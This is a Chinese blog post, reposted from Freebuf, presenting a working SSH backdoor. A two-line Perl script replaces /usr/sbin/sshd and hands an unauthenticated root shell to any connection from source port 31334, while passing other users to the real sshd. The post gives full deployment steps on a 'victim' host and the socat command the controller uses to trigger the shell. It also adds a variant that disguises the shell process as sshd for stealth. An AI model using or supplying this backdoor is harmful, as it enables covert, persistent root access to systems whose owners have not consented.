短小精致的SSH后门,短小精致SSH后门
短小精致的SSH后门,短小精致SSH后门
sshd后门源码:
#!/usr/bin/perl exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
这段代码的意思:
第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket (一般只有攻击者指定连接的源端口才能触发这一行的执行)
第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象
如何使用后门
被控端(Victim) 10.1.100.3 Kali
控制端 10.1.100.2 centos7
1) 在被控端执行以下操作
将真正的sshd 移至/usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd
将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限
chmod +x /usr/sbin/sshd
重启 ssh 服务
/etc/init.d/ssh reatart
2) 在控制端执行以下操作:
socat STDIO TCP4:10.1.100.3:22,sourceport=31334
这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334
这行命令等价于 socat -TCP4:10.1.100.3:22,sourceport=31334
这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell
被控制端端口连接情况:
22 端口是sh 和 控制端连接,程序名是ssh ,而不是正常的sshd,为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd,修改后门源码为:
#!/usr/bin/perl exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
控制端再次连接:
现在已经变成了sshd ,伪装性更强!
本文转载自Freebuf:http://www.freebuf.com/articles/system/140880.html
评论暂时关闭